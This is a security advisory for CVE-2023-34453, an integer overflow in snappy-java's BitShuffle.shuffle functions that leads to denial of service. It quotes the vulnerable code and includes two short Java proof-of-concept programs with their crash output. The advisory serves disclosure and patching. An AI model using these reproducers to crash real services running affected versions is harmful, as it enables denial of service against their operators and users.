snappy-java's Integer Overflow vulnerability in shuffle leads to DoS (GHSA-pqr6-cmr2-h8hf)
Aliases: CVE-2023-34453
Published: 2023-06-15T16:13:20Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.xerial.snappy:snappy-java'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.1.10.1'}]}], 'database_specific': {'last_known_affected_version_range': '<= 1.1.10.0'}}]

## Summary
Due to unchecked multiplications, an integer overflow may occur, causing a fatal error.
## Impact
Denial of Service
## Description
The function [shuffle(int[] input)](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/BitShuffle.java#L107) in the file [BitShuffle.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/BitShuffle.java) receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.

```java
public static byte[] shuffle(int[] input) throws IOException {
        byte[] output = new byte[input.length * 4];
        int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0);
        assert(numProcessed == input.length * 4);
        return output;
    }

```

Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a “java.lang.NegativeArraySizeException” exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as “java.lang.ArrayIndexOutOfBoundsException”.
The same issue exists also when using the “shuffle” functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.

## Steps To Reproduce
Compile and run the following code:

```java
package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x40000000];
        byte[] shuffled = BitShuffle.shuffle(original);
        System.out.println(shuffled[0]);
    }
}

```
The program will crash, showing the following error (or similar):

```
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0
	at org.example.Main.main(Main.java:12)

Process finished with exit code 1

```

Alternatively - compile and run the following code:

```java
package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x20000000];
        byte[] shuffled = BitShuffle.shuffle(original);
    }
}

```
The program will crash with the following error (or similar):

```
Exception in thread "main" java.lang.NegativeArraySizeException: -2147483648
	at org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108)
	at org.example.Main.main(Main.java:11)
```